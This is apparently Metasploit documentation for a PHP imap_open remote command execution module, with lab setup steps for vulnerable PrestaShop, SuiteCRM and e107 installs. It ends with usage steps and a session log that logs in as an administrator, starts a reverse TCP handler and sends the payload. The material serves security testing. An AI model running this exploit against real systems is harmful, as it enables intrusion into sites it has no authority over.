## Vulnerable Application The [imap_open](http://php.net/manual/en/function.imap-open.php) function within php, if called without the `/norsh` flag, will attempt to preauthenticate an IMAP session. On Debian based systems, including Ubuntu, `rsh` is mapped to the ssh binary. Ssh's `ProxyCommand` option can be passed from `imap_open` to execute arbitrary commands. While many custom applications may use `imap_open`, it is reported that the following applications are vulnerable: * instantcms * [HostCMS](https://github.com/HostCMS/hostcms6.free/blob/1d54bdefcd6c28918cb09dd7cb6aea404879b93f/modules/core/mail/imap.php#L140) * [e107 v2](https://github.com/e107inc/e107/blob/7570b7ce4e17c03e9759c90889db8e750d566e53/e107_handlers/pop_bounce_handler.php#L83) * [prestashop](https://github.com/PrestaShop/PrestaShop/blob/0d53d6b58b951ac364ad44671cf1ae9bf7ab6aed/controllers/admin/AdminCustomerThreadsController.php#L1010) * [SuiteCRM](https://github.com/salesagility/SuiteCRM/blob/153b2bae76097cdba9fc9c025bcd829a702b8687/modules/InboundEmail/EditView.php#L260) * SugarCRM Prestashop exploitation requires the admin URI, and administrator credentials. SuiteCRM exploitation requires administrator credentials. e107 v2 exploitation requires administrator credentials. ### Prestashop 1.7.2.4 on Ubuntu 16.04 Mostly derived from [websiteforstudents.com](https://websiteforstudents.com/install-prestashop-on-ubuntu-17-04-17-10-with-apache2-mariadb-and-php/), with a few tweeks for Ubuntu 16.04, and to install PHP's imap mod. ``` sudo apt install apache2 sudo sed -i "s/Options Indexes FollowSymLinks/Options FollowSymLinks/" /etc/apache2/apache2.conf sudo systemctl stop apache2.service sudo systemctl start apache2.service sudo systemctl enable apache2.service sudo apt-get install mariadb-server mariadb-client sudo systemctl stop mysql.service sudo systemctl start mysql.service sudo systemctl enable mysql.service sudo mysql_secure_installation sudo systemctl restart mysql.service sudo apt install php libapache2-mod-php php-common php-mbstring php-xmlrpc php-soap php-gd php-xml php-intl php-mysql php-cli php-mcrypt php-ldap php-zip php-curl php-imap sudo phpenmod imap sudo mysql -u root -p ``` Run the following database commands: ``` CREATE USER 'prestashopuser'@'localhost' IDENTIFIED BY 'new_password_here'; GRANT ALL ON prestashop.* TO 'prestashopuser'@'localhost' IDENTIFIED BY 'user_password_here' WITH GRANT OPTION; FLUSH PRIVILEGES; EXIT; ``` ``` cd /tmp && curl -O https://download.prestashop.com/download/releases/prestashop_1.7.2.4.zip unzip prestashop_1.7.2.4.zip sudo mkdir -p /var/www/html/prestashop sudo unzip prestashop.zip -d /var/www/html/prestashop/ sudo chown -R www-data:www-data /var/www/html/prestashop/ sudo chmod -R 755 /var/www/html/prestashop/ sudo nano /etc/apache2/sites-available/prestashop.conf ``` Utilize the following configuration: ``` <VirtualHost *:80> ServerAdmin admin@example.com DocumentRoot /var/www/html/prestashop/ ServerName example.com ServerAlias www.example.com <Directory /var/www/html/prestashop/> Options +FollowSymlinks AllowOverride All Require all granted </Directory> ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost> ``` ``` sudo a2ensite prestashop.conf sudo a2enmod rewrite sudo a2dissite 000-default sudo systemctl restart apache2.service ``` Browse to the website, and install with default information. ``` sudo rm -rf /var/www/html/prestashop/install/ ``` Now browse to `/admin`, and the first time you'll be redirected to the admin URI. If not, `sudo ls /var/www/html/prestashop/admin*`. ### SuiteCRM 7.8.23 on Ubuntu 16.04 Mostly derived from [vultr.com](https://www.vultr.com/docs/how-to-install-suitecrm-on-ubuntu-16-04) but adding php's zip and mbstring packages. ``` sudo apt-get install apache2 mariadb-server php7.0 php7.0-mysql php7.0-gd php7.0-curl php7.0-imap libapache2-mod-php7.0 php7.0-mcrypt php7.0-xml php7.0-json php7.0-mbstring php7.0-zip -y sudo systemctl restart apache2 sudo phpenmod imap sudo mysql_secure_installation ``` ``` wget https://suitecrm.com/files/156/SuiteCRM-7.8/322/SuiteCRM-7.8.23.zip unzip SuiteCRM-7.8.23.zip sudo mv SuiteCRM-7.8.23 /var/www/html/suitecrm sudo chown -R www-data:www-data /var/www/html/suitecrm sudo chmod -R 777 /var/www/html/suitecrm sudo nano /etc/apache2/sites-available/suitecrm.conf ``` Utilize the following configuration: ``` <VirtualHost *:80> ServerAdmin admin@yourdomain.com DocumentRoot /var/www/html/suitecrm/ ServerName yourdomain.com ServerAlias www.yourdomain.com <Directory /var/www/html/suitecrm/> Options FollowSymLinks AllowOverride All </Directory> ErrorLog /var/log/apache2/suitecrm-error_log CustomLog /var/log/apache2/suitecrm-access_log common </VirtualHost> ``` ``` sudo a2ensite suitecrm sudo a2dissite 000-default.conf sudo systemctl restart apache2 sudo systemctl restart mysql ``` ### e107 2.1.9 on Ubuntu 16.04 Mostly derived from [websiteforstudents.com](https://websiteforstudents.com/install-e107-cms-on-ubuntu-16-04-18-04-18-10-with-apache2-mariadb-and-php-7-2/), however with php 7.0 instead of 7.2. ``` sudo apt install apache2 mariadb-server mariadb-client php7.0 libapache2-mod-php7.0 php7.0-common php7.0-mysql php7.0-gmp php7.0-curl php7.0-intl php7.0-mbstring php7.0-xmlrpc php7.0-gd php7.0-bcmath php7.0-xml php7.0-cli php7.0-zip php7.0-imap -y sudo systemctl restart apache2.service sudo systemctl stop mysql.service sudo systemctl start mysql.service sudo systemctl enable mysql.service sudo mysql_secure_installation sudo mysql -u root -p ``` Run the following database commands: ``` CREATE DATABASE e107; CREATE USER 'e107user'@'localhost' IDENTIFIED BY 'new_password_here'; GRANT ALL ON e107.* TO 'e107user'@'localhost' IDENTIFIED BY 'new_password_here' WITH GRANT OPTION; FLUSH PRIVILEGES; EXIT; ``` ``` cd /tmp wget http://sourceforge.net/projects/e107/files/e107/e107%20v2.1.9/e107_2.1.9_full.zip sudo unzip -d /var/www/html/e107 /tmp/e107_2.1.9_full.zip sudo chown -R www-data:www-data /var/www/html/e107/ sudo chmod -R 755 /var/www/html/e107/ sudo nano /etc/apache2/sites-available/e107.conf ``` Utilize the following configuration: ``` <VirtualHost *:80> ServerAdmin admin@example.com DocumentRoot /var/www/html/e107 ServerName example.com ServerAlias www.example.com <Directory /var/www/html/e107/> Options FollowSymlinks AllowOverride All Require all granted </Directory> ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined <Directory /var/www/html/e107/> RewriteEngine on RewriteBase / RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*) index.php [PT,L] </Directory> </VirtualHost> ``` ``` sudo a2ensite e107.conf sudo a2enmod rewrite sudo a2dissite 000-default sudo systemctl restart apache2.service sudo systemctl restart mysql.server sudo systemctl restart mysql.service ``` ## Verification Steps 1. Install a vulnerable application 2. Start msfconsole 3. Do: ```use exploit/linux/http/php_imap_open_rce``` 4. Do: ```set TARGETURI [URI]``` 5. Do: ```set USERNAME [username]``` 6. Do: ```set PASSWORD [password]``` 7. Do: ```set target [target]``` 8. Do: ```run``` 9. You should get a shell. ## Options **TARGETURI** The URI for the target. This may change by target. Default is ` `. Prestashop should be the admin URI, similar to `/admin2769gx8k3`. ## Scenarios ### PrestaShop 1.7.2.4 on Ubuntu 16.04.4 with PHP 7.0 ``` resource (presta.rb)> use exploit/linux/http/php_imap_open_rce resource (presta.rb)> set TARGETURI /admin2769gx8k3 TARGETURI => /admin2769gx8k3 resource (presta.rb)> set USERNAME ubuntu@none.com USERNAME => ubuntu@none.com resource (presta.rb)> set PASSWORD ubuntuubuntu PASSWORD => ubuntuubuntu resource (presta.rb)> set rhosts 1.1.1.1 rhosts => 1.1.1.1 resource (presta.rb)> set lhost 2.2.2.2 lhost => 2.2.2.2 resource (presta.rb)> set target 0 target => 0 resource (presta.rb)> set verbose true verbose => true resource (presta.rb)> exploit [*] Started reverse TCP handler on 2.2.2.2:4444 [*] Redirected to http://1.1.1.1/admin2769gx8k3/ [*] Redirected to http://1.1.1.1/admin2769gx8k3/index.php?controller=AdminLogin&token=6dab1f7b4eea17d2b44a8929ead9df68 [*] Token: 6dab1f7b4eea17d2b44a8929ead9df68 and Login Redirect: http://1.1.1.1/admin2769gx8k3/&token=09283f9efc45fc75eca3b8d5f1b1f92f [*] Logging in with ubuntu@none.com:ubuntuubuntu [*] Login JSON Response: {"hasErrors":false,"redirect":"http:\/\/1.1.1.1\/admin2769gx8k3\/index.php?controller=AdminDashboard&token=e324e8b387afb1874947db9b1ba411c8"} [+] Login Success, loading admin dashboard to pull tokens [*] Customer Threads Token: ec653c8bfc09754fc63aaa94101911dc [+] Sending Payload with Final Token: ec653c8bfc09754fc63aaa94101911dc [*] IMAP server change left on server, manual revert required.
